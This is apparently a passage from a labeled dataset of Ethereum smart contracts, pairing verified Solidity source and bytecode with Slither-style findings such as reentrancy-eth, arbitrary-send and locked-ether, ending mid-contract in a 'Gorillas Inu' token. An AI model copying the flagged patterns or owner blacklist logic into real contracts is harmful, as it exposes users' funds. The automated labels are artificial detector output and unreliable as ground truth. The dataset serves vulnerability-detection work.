01b038416815282151560208201527ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d910160405180910390a15050565b60006103d9338484610df4565b6000546001600160a01b031633146107545760405162461bcd60e51b815260040161044f90611b7a565b60005b81518110156107ca576001600b600084848151811061078657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107c281611c8d565b915050610757565b5050565b600d546001600160a01b0316336001600160a01b0316146107ee57600080fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b600d546001600160a01b0316336001600160a01b03161461082f57600080fd5b600061083a30610591565b905061058e81611342565b6000546001600160a01b0316331461086f5760405162461bcd60e51b815260040161044f90611b7a565b601054600160a01b900460ff16156108c95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044f565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610906308268056bc75e2d63100000610c08565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561093f57600080fd5b505afa158015610953573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061097791906118f7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109bf57600080fd5b505afa1580156109d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f791906118f7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a3f57600080fd5b505af1158015610a53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7791906118f7565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d7194730610aa781610591565b600080610abc6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610b1f57600080fd5b505af1158015610b33573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b589190611afa565b505060108054678ac7230489e8000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610bd057600080fd5b505af1158015610be4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ca9190611ac6565b6001600160a01b038316610c6a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044f565b6001600160a01b038216610ccb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600082610d3b575060006103dd565b6000610d478385611c57565b905082610d548583611c37565b14610dab5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044f565b9392505050565b6000610dab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114e7565b6001600160a01b038316610e585760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044f565b6001600160a01b038216610eba5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044f565b60008111610f1c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044f565b6000546001600160a01b03848116911614801590610f4857506000546001600160a01b03838116911614155b156111a957601054600160b81b900460ff161561102f576001600160a01b0383163014801590610f8157506001600160a01b0382163014155b8015610f9b5750600f546001600160a01b03848116911614155b8015610fb55750600f546001600160a01b03838116911614155b1561102f57600f546001600160a01b0316336001600160a01b03161480610fef57506010546001600160a01b0316336001600160a01b0316145b61102f5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015260640161044f565b60115481111561103e57600080fd5b6001600160a01b0383166000908152600b602052604090205460ff1615801561108057506001600160a01b0382166000908152600b602052604090205460ff16155b61108957600080fd5b6010546001600160a01b0384811691161480156110b45750600f546001600160a01b03838116911614155b80156110d957506001600160a01b03821660009081526005602052604090205460ff16155b80156110ee5750601054600160b81b900460ff165b1561113c576001600160a01b0382166000908152600c6020526040902054421161111757600080fd5b611122426078611c1f565b6001600160a01b0383166000908152600c60205260409020555b600061114730610591565b601054909150600160a81b900460ff1615801561117257506010546001600160a01b03858116911614155b80156111875750601054600160b01b900460ff165b156111a75761119581611342565b4780156111a5576111a547611240565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806111eb57506001600160a01b03831660009081526005602052604090205460ff165b156111f4575060005b61120084848484611515565b50505050565b6000818484111561122a5760405162461bcd60e51b815260040161044f9190611b27565b5060006112378486611c76565b95945050505050565b600d546001600160a01b03166108fc61125a836002610db2565b6040518115909202916000818181858888f19350505050158015611282573d6000803e3d6000fd5b50600e546001600160a01b03166108fc61129d836002610db2565b6040518115909202916000818181858888f193505050501580156107ca573d6000803e3d6000fd5b600060075482111561132c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044f565b6000611336611541565b9050610dab8382610db2565b6010805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061139857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113ec57600080fd5b505afa158015611400573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061142491906118f7565b8160018151811061144557634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f5461146b9130911684610c08565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a4908590600090869030904290600401611baf565b600060405180830381600087803b1580156114be57600080fd5b505af11580156114d2573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b600081836115085760405162461bcd60e51b815260040161044f9190611b27565b5060006112378486611c37565b8061152257611522611564565b61152d848484611587565b806112005761120060036009556002600a55565b600080600061154e61167e565b909250905061155d8282610db2565b9250505090565b6009541580156115745750600a54155b1561157b57565b60006009819055600a55565b600080600080600080611599876116c0565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115cb908761171d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115fa908661175f565b6001600160a01b03891660009081526002602052604090205561161c816117be565b6116268483611808565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161166b91815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d6310000061169a8282610db2565b8210156116b75750506007549268056bc75e2d6310000092509050565b90939092509050565b60008060008060008060008060006116dd8a600954600a5461182c565b92509250925060006116ed611541565b905060008060006117008e87878761187b565b919e509c509a509598509396509194505050505091939550919395565b6000610dab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611206565b60008061176c8385611c1f565b905083811015610dab5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044f565b60006117c8611541565b905060006117d68383610d2c565b306000908152600260205260409020549091506117f3908261175f565b30600090815260026020526040902055505050565b600754611815908361171d565b600755600854611825908261175f565b6008555050565b600080808061184060646104728989610d2c565b9050600061185360646104728a89610d2c565b9050600061186b826118658b8661171d565b9061171d565b9992985090965090945050505050565b600080808061188a8886610d2c565b905060006118988887610d2c565b905060006118a68888610d2c565b905060006118b882611865868661171d565b939b939a50919850919650505050505050565b80356118d681611cd4565b919050565b6000602082840312156118ec578081fd5b8135610dab81611cd4565b600060208284031215611908578081fd5b8151610dab81611cd4565b60008060408385031215611925578081fd5b823561193081611cd4565b9150602083013561194081611cd4565b809150509250929050565b60008060006060848603121561195f578081fd5b833561196a81611cd4565b9250602084013561197a81611cd4565b929592945050506040919091013590565b6000806040838503121561199d578182fd5b82356119a881611cd4565b9150602083013561194081611ce9565b600080604083850312156119ca578182fd5b82356119d581611cd4565b946020939093013593505050565b600060208083850312156119f5578182fd5b823567ffffffffffffffff80821115611a0c578384fd5b818501915085601f830112611a1f578384fd5b813581811115611a3157611a31611cbe565b8060051b604051601f19603f83011681018181108582111715611a5657611a56611cbe565b604052828152858101935084860182860187018a1015611a74578788fd5b8795505b83861015611a9d57611a89816118cb565b855260019590950194938601938601611a78565b5098975050505050505050565b600060208284031215611abb578081fd5b8135610dab81611ce9565b600060208284031215611ad7578081fd5b8151610dab81611ce9565b600060208284031215611af3578081fd5b5035919050565b600080600060608486031215611b0e578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611b5357858101830151858201604001528201611b37565b81811115611b645783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611bfe5784516001600160a01b031683529383019391830191600101611bd9565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611c3257611c32611ca8565b500190565b600082611c5257634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611c7157611c71611ca8565b500290565b600082821015611c8857611c88611ca8565b500390565b6000600019821415611ca157611ca1611ca8565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461058e57600080fd5b801515811461058e57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ae06cd5a2fb2f8bd86e7a9ba0164e739209383ec710c1b4fff1d820afd612cca64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,775
0xa991356d261fbaf194463af6df8f0464f8f1c742
/** *Submitted for verification at Etherscan.io on 2021-05-05 */ /* .'''''''''''.. ..''''''''''''''''.. ..'''''''''''''''.. .;;;;;;;;;;;'. .';;;;;;;;;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;,. .;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;,. .;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;;,. .;;;;;;;;;;;;;;;;;;;;,. ';;;;;;;;'. .';;;;;;;;;;;;;;;;;;;;;;,. .';;;;;;;;;;;;;;;;;;;;;,. ';;;;;,.. .';;;;;;;;;;;;;;;;;;;;;;;,..';;;;;;;;;;;;;;;;;;;;;;,. ...... .';;;;;;;;;;;;;,'''''''''''.,;;;;;;;;;;;;;,'''''''''.. .,;;;;;;;;;;;;;. .,;;;;;;;;;;;;;. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;,. .;;;;;;;;;;;;;,. ..... .;;;;;;;;;;;;;'. ..';;;;;;;;;;;;;'. .',;;;;,'. .';;;;;;;;;;;;;'. .';;;;;;;;;;;;;;'. .';;;;;;;;;;. .';;;;;;;;;;;;;'. .';;;;;;;;;;;;;;'. .;;;;;;;;;;;,. .,;;;;;;;;;;;;;'...........,;;;;;;;;;;;;;;. .;;;;;;;;;;;,. .,;;;;;;;;;;;;,..,;;;;;;;;;;;;;;;;;;;;;;;,. ..;;;;;;;;;,. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;;;;,. .',;;;,,.. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;;;,. .... ..',;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;;,. ..',;;;;'. .,;;;;;;;;;;;;;;;;;;;'. ...'.. .';;;;;;;;;;;;;;,,,'. ............... */ // https://github.com/trusttoken/smart-contracts // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } /** * @dev Return true if and only if the contract has been initialized * @return whether the contract has been initialized */ function isInitialized() public view returns (bool) { return initialized; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } /** * @title UpgradeableClaimable * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. Since * this contract combines Claimable and UpgradableOwnable contracts, ownership * can be later change via 2 step method {transferOwnership} and {claimOwnership} * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract UpgradeableClaimable is Initializable, Context { address private _owner; address private _pendingOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting a custom initial owner of choice. * @param __owner Initial owner of contract to be set. */ function initialize(address __owner) internal initializer { _owner = __owner; emit OwnershipTransferred(address(0), __owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Returns the address of the pending owner. */ function pendingOwner() public view returns (address) { return _pendingOwner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == _pendingOwner, "Ownable: caller is not the pending owner"); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() public onlyPendingOwner { emit OwnershipTransferred(_owner, _pendingOwner); _owner = _pendingOwner; _pendingOwner = address(0); } } /** * @title ImplementationReference * @dev This contract is made to serve a simple purpose only. * To hold the address of the implementation contract to be used by proxy. * The implementation address, is changeable anytime by the owner of this contract. */ contract ImplementationReference is UpgradeableClaimable { address public implementation; /** * @dev Event to show that implementation address has been changed * @param newImplementation New address of the implementation */ event ImplementationChanged(address newImplementation); /** * @dev Set initial ownership and implementation address * @param _implementation Initial address of the implementation */ constructor(address _implementation) public { UpgradeableClaimable.initialize(msg.sender); implementation = _implementation; } /** * @dev Function to change the implementation address, which can be called only by the owner * @param newImplementation New address of the implementation */ function setImplementation(address newImplementation) external onlyOwner { implementation = newImplementation; emit ImplementationChanged(newImplementation); } } /** * @title OwnedProxyWithReference * @dev This contract combines an upgradeability proxy with basic authorization control functionalities * Its structure makes it easy for a group of contracts alike, to share an implementation and to change it easily for all of them at once */ contract OwnedProxyWithReference { /** * @dev Event to show ownership has been transferred * @param previousOwner representing the address of the previous owner * @param newOwner representing the address of the new owner */ event ProxyOwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Event to show ownership transfer is pending * @param currentOwner representing the address of the current owner * @param pendingOwner representing the address of the pending owner */ event NewPendingOwner(address currentOwner, address pendingOwner); /** * @dev Event to show implementation reference has been changed * @param implementationReference address of the new implementation reference contract */ event ImplementationReferenceChanged(address implementationReference); // Storage position of the owner and pendingOwner and implementationReference of the contract // This is made to ensure, that memory spaces do not interfere with each other bytes32 private constant proxyOwnerPosition = 0x6279e8199720cf3557ecd8b58d667c8edc486bd1cf3ad59ea9ebdfcae0d0dfac; //keccak256("trueUSD.proxy.owner"); bytes32 private constant pendingProxyOwnerPosition = 0x8ddbac328deee8d986ec3a7b933a196f96986cb4ee030d86cc56431c728b83f4; //keccak256("trueUSD.pending.proxy.owner"); bytes32 private constant implementationReferencePosition = keccak256("trueFiPool.implementation.reference"); //keccak256("trueFiPool.implementation.reference"); /** * @dev the constructor sets the original owner of the contract to the sender account. * @param _owner Initial owner of the proxy * @param _implementationReference initial ImplementationReference address */ constructor(address _owner, address _implementationReference) public { _setUpgradeabilityOwner(_owner); _changeImplementationReference(_implementationReference); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyProxyOwner() { require(msg.sender == proxyOwner(), "only Proxy Owner"); _; } /** * @dev Throws if called by any account other than the pending owner. */ modifier onlyPendingProxyOwner() { require(msg.sender == pendingProxyOwner(), "only pending Proxy Owner"); _; } /** * @dev Tells the address of the owner * @return owner the address of the owner */ function proxyOwner() public view returns (address owner) { bytes32 position = proxyOwnerPosition; assembly { owner := sload(position) } } /** * @dev Tells the address of the owner * @return pendingOwner the address of the pending owner */ function pendingProxyOwner() public view returns (address pendingOwner) { bytes32 position = pendingProxyOwnerPosition; assembly { pendingOwner := sload(position) } } /** * @dev Sets the address of the owner * @param newProxyOwner New owner to be set */ function _setUpgradeabilityOwner(address newProxyOwner) internal { bytes32 position = proxyOwnerPosition; assembly { sstore(position, newProxyOwner) } } /** * @dev Sets the address of the owner * @param newPendingProxyOwner New pending owner address */ function _setPendingUpgradeabilityOwner(address newPendingProxyOwner) internal { bytes32 position = pendingProxyOwnerPosition; assembly { sstore(position, newPendingProxyOwner) } } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * changes the pending owner to newOwner. But doesn't actually transfer * @param newOwner The address to transfer ownership to. */ function transferProxyOwnership(address newOwner) external onlyProxyOwner { require(newOwner != address(0)); _setPendingUpgradeabilityOwner(newOwner); emit NewPendingOwner(proxyOwner(), newOwner); } /** * @dev Allows the pendingOwner to claim ownership of the proxy */ function claimProxyOwnership() external onlyPendingProxyOwner { emit ProxyOwnershipTransferred(proxyOwner(), pendingProxyOwner()); _setUpgradeabilityOwner(pendingProxyOwner()); _setPendingUpgradeabilityOwner(address(0)); } /** * @dev Allows the proxy owner to change the contract holding address of implementation. * @param _implementationReference representing the address contract, which holds implementation. */ function changeImplementationReference(address _implementationReference) public virtual onlyProxyOwner { _changeImplementationReference(_implementationReference); } /** * @dev Get the address of current implementation. * @return Returns address of implementation contract */ function implementation() public view returns (address) { bytes32 position = implementationReferencePosition; address implementationReference; assembly { implementationReference := sload(position) } return ImplementationReference(implementationReference).implementation(); } /** * @dev Fallback functions allowing to perform a delegatecall to the given implementation. * This function will return whatever the implementation call returns */ fallback() external payable { proxyCall(); } /** * @dev This fallback function gets called only when this contract is called without any calldata e.g. send(), transfer() * This would also trigger receive() function on called implementation */ receive() external payable { proxyCall(); } /** * @dev Performs a low level call, to the contract holding all the logic, changing state on this contract at the same time */ function proxyCall() internal { address impl = implementation(); assembly { let ptr := mload(0x40) calldatacopy(ptr, 0, calldatasize()) let result := delegatecall(gas(), impl, ptr, calldatasize(), 0, 0) returndatacopy(ptr, 0, returndatasize()) switch result case 0 { revert(ptr, returndatasize()) } default { return(ptr, returndatasize()) } } } /** * @dev Function to internally change the contract holding address of implementation. * @param _implementationReference representing the address contract, which holds implementation. */ function _changeImplementationReference(address _implementationReference) internal virtual { bytes32 position = implementationReferencePosition; assembly { sstore(position, _implementationReference) } emit ImplementationReferenceChanged(address(_implementationReference)); } }
0x6080604052600436106100695760003560e01c80635c60da1b116100435780635c60da1b146101135780639965b3d614610128578063f1739cae1461013d57610078565b8063025313a2146100805780630add8140146100be5780632463aba5146100d357610078565b366100785761007661017d565b005b61007661017d565b34801561008c57600080fd5b506100956101ad565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156100ca57600080fd5b506100956101d2565b3480156100df57600080fd5b50610076600480360360208110156100f657600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166101f7565b34801561011f57600080fd5b506100956102a4565b34801561013457600080fd5b50610076610341565b34801561014957600080fd5b506100766004803603602081101561016057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610466565b60006101876102a4565b905060405136600082376000803683855af43d6000833e8080156101a9573d83f35b3d83fd5b7f6279e8199720cf3557ecd8b58d667c8edc486bd1cf3ad59ea9ebdfcae0d0dfac5490565b7f8ddbac328deee8d986ec3a7b933a196f96986cb4ee030d86cc56431c728b83f45490565b6101ff6101ad565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461029857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f6f6e6c792050726f7879204f776e657200000000000000000000000000000000604482015290519081900360640190fd5b6102a18161058b565b50565b6000806040518080610640602391396023019050604051809103902090506000815490508073ffffffffffffffffffffffffffffffffffffffff16635c60da1b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561030e57600080fd5b505afa158015610322573d6000803e3d6000fd5b505050506040513d602081101561033857600080fd5b50519250505090565b6103496101d2565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103e257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f6f6e6c792070656e64696e672050726f7879204f776e65720000000000000000604482015290519081900360640190fd5b6103ea6101d2565b73ffffffffffffffffffffffffffffffffffffffff166104086101ad565b73ffffffffffffffffffffffffffffffffffffffff167f5a3e66efaa1e445ebd894728a69d6959842ea1e97bd79b892797106e270efcd960405160405180910390a361045a6104556101d2565b6105f7565b610464600061061b565b565b61046e6101ad565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461050757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f6f6e6c792050726f7879204f776e657200000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff811661052757600080fd5b6105308161061b565b7fb3d55174552271a4f1aaf36b72f50381e892171636b3fb5447fe00e995e7a37b6105596101ad565b6040805173ffffffffffffffffffffffffffffffffffffffff928316815291841660208301528051918290030190a150565b60006040518080610640602391396040805191829003602301822085815573ffffffffffffffffffffffffffffffffffffffff8616835290519093507fa8290438144fbf31e3a673ff5040273117d5e72f359860188a6df03b794f035492509081900360200190a15050565b7f6279e8199720cf3557ecd8b58d667c8edc486bd1cf3ad59ea9ebdfcae0d0dfac55565b7f8ddbac328deee8d986ec3a7b933a196f96986cb4ee030d86cc56431c728b83f45556fe747275654669506f6f6c2e696d706c656d656e746174696f6e2e7265666572656e6365a264697066735822122094e783569eec156e98e953577f0d664ef4b8dbb78a527b28d8ec46d0ac4e64be64736f6c634300060a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
2,776
0x04324b7996da1111c0d20e7c2534f56401eb4a60
/** *Submitted for verification at Etherscan.io on 2022-03-20 */ /* *** Join the Gorillas via t.me/GorillasInu *** */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.11; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Gorillas is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Gorillas Inu"; string private constant _symbol = "Gorillas"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x45e1548fbAd78B6590B5843c621492deE4e9D4c0); address payable private _marketingAddress = payable(0xb4a00d1B858612acA0731e9d5eB377dF845c0059); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: 